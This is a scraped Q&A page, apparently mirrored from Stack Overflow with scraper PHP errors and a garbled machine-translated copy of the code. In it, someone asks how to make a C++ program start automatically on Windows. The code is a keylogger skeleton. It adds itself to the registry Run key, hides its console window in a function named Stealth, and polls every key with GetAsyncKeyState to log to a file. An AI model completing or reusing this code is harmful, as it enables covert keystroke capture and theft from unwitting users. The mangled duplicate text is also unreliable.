Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/file/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C++ 使用C++;_C++_File_Startup - Fatal编程技术网

C++ 使用C++;

C++ 使用C++;,c++,file,startup,C++,File,Startup,我想在启动时添加cpp程序。 这是一个代码 #include <iostream> using namespace std; #include <fstream> #include <stdlib.h> #include <windows.h> #include <string> #include <tchar.h> int Save (int key_stroke, char *file); vo

我想在启动时添加
cpp
程序。
这是一个代码

 #include <iostream>
    using namespace std;
 #include <fstream>
 #include <stdlib.h>
 #include <windows.h>
 #include <string>
 #include <tchar.h>

 int Save (int key_stroke, char *file);
 void Stealth();

 int main()
{

/*/////////////// START UP ////////////*/
TCHAR exepath[MAX_PATH];
GetModuleFileName(0, exepath, MAX_PATH);
HKEY hKey;
LONG lnRes = RegOpenKeyEx(
       HKEY_CURRENT_USER,
       "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
       0,KEY_WRITE,
       &hKey
   );
   if( ERROR_SUCCESS == lnRes )
   {
      lnRes = RegSetValueEx(hKey,
                     "what I write here ???",
                     0,
                     REG_SZ,
                     (BYTE*) exepath,
                     _tcslen(exepath));
                     }
 /**********************************************/                    

Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");

return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

fprintf(OUTPUT_FILE, "%s", "[WORKING...]");

fclose (OUTPUT_FILE);

}

 /* *********************************** */

void Stealth()
 {
 HWND Stealth;
 AllocConsole();
 Stealth = FindWindowA("ConsoleWindowClass", NULL);
 ShowWindow(Stealth,0);
}
#包括
使用名称空间std;
#包括
#包括
#包括
#包括
#包括
int Save(int key_stroke,char*文件);
无效隐身();
int main()
{
/*///////////////启动////////////*/
TCHAR exepath[MAX_PATH];
GetModuleFileName(0,exepath,MAX_PATH);
HKEY HKEY;
长lnRes=RegOpenKeyEx(
HKEY_当前_用户,
“软件\\Microsoft\\Windows\\CurrentVersion\\Run”,
0,按键写入,
&hKey
);
如果(错误\u成功==lnRes)
{
lnRes=RegSetValueEx(hKey,
“我在这里写什么?”,
0,
瑞格施,
(字节*)exepath,
_tcslen(exepath));
}
/**********************************************/                    
隐身();
char i;
而(1)
{

对于(i=8;i),我建议如果您使用Windows OS,则将C++程序制作成Windows可执行文件并将其放入Windows启动程序中。